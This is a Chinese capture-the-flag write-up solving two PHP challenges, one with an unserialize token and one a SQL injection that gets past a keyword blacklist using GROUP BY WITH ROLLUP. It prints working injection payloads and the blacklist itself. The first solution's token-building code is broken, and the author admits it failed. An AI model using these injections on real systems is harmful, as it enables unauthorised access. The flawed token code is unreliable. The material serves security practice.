03 多重加密
源代码为:
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
这道题目直接部署的话会有一些配置问题,根据报错修改了配置文件之后,在同目录文件夹下创建了common.php,设置$flag=123456
可以看到获取flag的操作为:
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
当$login['user']==='ichunqiu'的时候,就输出flag,继续往上看$login的赋值位置
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
进行了base64解密,gzuncompress字符串压缩和字符串反序列化。
而$requset的赋值在:
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
将从GET,POST或者COOKIE中获取到的值合并到request里面
为了满足:
$login['user'] === 'ichunqiu'
我们需要令
$token=array(['user']==='ichunqiu');
然后再对其进行相应的加密,最后的token为:
$token=array(['user']==='ichunqiu');
$token=base64_encode(gzcompress(serialize($token)));
echo $token;
得到payload为:
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
最后本地输出还是有问题,就写写解题思路趴
04 SQL注入_WITH ROLLUP绕过
源代码为:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
本地环境的原因,只能直接分析代码了。
首先是登录框POST输入用户名和密码
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
然后对POST的值使用AttackFilter函数进行过滤
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
AttackFilter函数为:
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
匹配到了黑名单中的元素时就会退出
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
这里是链接本地数据库的操作,接着查询输入的uname的相关数据
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
返回结果集中行的数目为1,才能进入if,也就是说interest表中不止一行,然后将值赋给$key
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
如果输入的密码和数据库中的密码是相同的就输出flag,否则输出提示信息
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
这里使用到的绕过技巧是GROUP BY WITH ROLLUP
关于函数的介绍可以看这个:
分组后会多一行进行统计,而多出的一行的pwd会是NULL!而user会是数据库表中已存在的字段。
因为存在限制
mysql_num_rows($query) == 1
所以我们使用
limit m offset n
m: 展示m条
n: 跳过n条
来筛选出每一条数据,直到筛选出为user存在,pwd为空的那一行
最终的payload为:
1' or 1 group by pwd with rollup limit 1 offset 2#
而密码栏不需要输入,不输入则为NULL,在该位置:
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
即可满足条件输出flag
参考链接:
http://www.bubuko.com/infodetail-2169730.html